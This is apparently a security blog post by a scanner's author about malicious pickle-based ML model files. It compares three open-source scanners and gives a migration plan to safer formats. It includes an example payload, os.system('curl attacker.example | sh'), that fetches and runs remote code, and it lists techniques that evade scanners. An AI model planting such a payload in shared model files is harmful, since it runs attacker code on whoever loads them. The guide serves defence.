Every time someone shares a trained model, they share a file. If that file is a pickle, and the default formats of scikit-learn, joblib and older PyTorch code are pickles, loading it can run any command its author wanted. Not after you call predict. At load.

This is not theoretical. Security researchers have repeatedly found malicious models on public hubs, including ones built to slip past the scanners those hubs use. This guide explains how the attack works, compares three free scanners on the same 23 attack files, and ends with a migration plan to safer formats.

How a model file runs code

A pickle is not data. It is a small program that tells Python how to rebuild objects. One of its instructions says “import this function and call it with these arguments”. For a real model that is something harmless like rebuilding a NumPy array. For a malicious one it is os.system("curl attacker.example | sh").

So the question “is this model safe?” is really “which functions will this file import and call?”. There are two ways to answer it:

  • Blocklists look for known bad names such as os.system or eval. Attackers find names nobody listed, or build the dangerous call indirectly.
  • Allowlists permit only what real models need (array and tensor rebuilding, known library classes) and flag everything else. PyTorch’s own weights_only=True loader works this way.

Formats and their risk

FormatCan hold code?Notes
.pkl, .pickleYesRuns on load
.joblib (scikit-learn)YesPickle inside, plus array data
PyTorch .pt, .pth, .bin, .ckptYesPickle inside a zip or tar. Safer with weights_only=True on PyTorch 2.6+
Keras .keras, .h5SometimesLambda layers carry Python bytecode; several safe_mode bypasses were patched in 2025 and 2026
NumPy .npy, .npzOnly with allow_pickle=TrueObject arrays are pickles
ONNXNo Python codeExternal-data paths can point outside the model folder
GGUFNo Python codeChat templates and malformed sizes have caused real vulnerabilities
safetensorsNoThe safest common choice for weights

The comparison: three free scanners, 23 attacks

I built model-file-guard because the most popular scanner could not read an ordinary scikit-learn joblib file with arrays in it, and because blocklist scanners kept being bypassed. To keep myself honest, I ran three open-source scanners on the same files on 4 December 2026: 23 attack files, each reproducing a published technique, and 5 real benign model files. The script that rebuilds the files and reruns the test is in the repository.

model-file-guard 0.1.0picklescan 1.0.5fickling 0.1.13
Attack files flagged23 of 231517
Attack files missed061
Attack files it could not read025
False alarms on benign files0 of 504
Benign files it could not read011

What picklescan missed: attribute walks, imports through the copyreg extension registry, a gzipped pickle, a tar-format PyTorch file, a pickle hidden inside bytes, and a hidden zip entry. fickling flags every import outside the standard library by design, so it raises alarms on normal scikit-learn and NumPy files.

Both are excellent projects with different goals, and parts of model-file-guard’s design come from their published advisories. These numbers are for our test files only. Run all three on your own files.

What a good scan looks at

Beyond imports, the attacks that got past scanners in 2025 and 2026 used the file container itself:

  • zip entries hidden between listed members, or with names that differ between headers;
  • a bad checksum that stopped a scanner while PyTorch still loaded the file;
  • a pickle that breaks halfway, after its payload already ran;
  • a payload hidden inside the array bytes of a joblib file.

model-file-guard reads files the way the loaders do, without importing anything, and reports exactly what a file would do, for example would run: os.system('curl ... | sh'). It also validates the formats that cannot hold code, and can check a Hugging Face repo before you download it:

pip install model-file-guard
model-file-guard path/to/models
model-file-guard hf OWNER/REPO
model-file-guard env   # known model-loading flaws in your installed PyTorch, Keras, ONNX, llama-cpp-python

Moving to safer formats

  1. Weights: save PyTorch and Hugging Face weights as safetensors.
  2. scikit-learn: use skops with a trusted-types list, or export to ONNX if your serving stack supports it.
  3. Gradient-boosted trees: XGBoost, LightGBM and CatBoost all have native JSON or text formats that contain no code.
  4. Keep loaders patched: PyTorch 2.6 or newer, current Keras, ONNX and llama-cpp-python.
  5. Scan in CI: run a scanner on every model file before it is loaded, and fail the build on findings.

The model-file-guard agent skill walks Claude Code, Codex or Cursor through steps 1 to 5 in your own project.

Why this matters for small teams

Shared pretrained models are now part of everyone’s infrastructure. Large companies have security teams to vet them. Small stores, students and researchers, especially in developing countries, rely on shared models the most and can least afford a compromise. A free, dependency-free scanner that runs on a laptop is a small step toward making that shared infrastructure safe for everyone.

Want your ML pipeline reviewed? Book a free call.

Sources

  • Python documentation, pickle module security warning.
  • PyTorch weights_only unpickler and CVE-2025-32434.
  • picklescan advisories: CVE-2025-10155, CVE-2025-10156, CVE-2025-10157, GHSA-9gvj-pp9x-gcfr, GHSA-hgrh-qx5j-jfwx, GHSA-vvpj-8cmc-gx39, CVE-2025-71355.
  • ReversingLabs, “Malicious ML models discovered on Hugging Face platform” (nullifAI), February 2025.
  • Keras CVE-2025-1550, CVE-2025-8747, CVE-2025-9906, CVE-2026-1462, CVE-2026-12481; llama.cpp CVE-2024-34359.
  • Scanner comparison: model-file-guard repository, examples/compare_scanners.py, run 4 December 2026.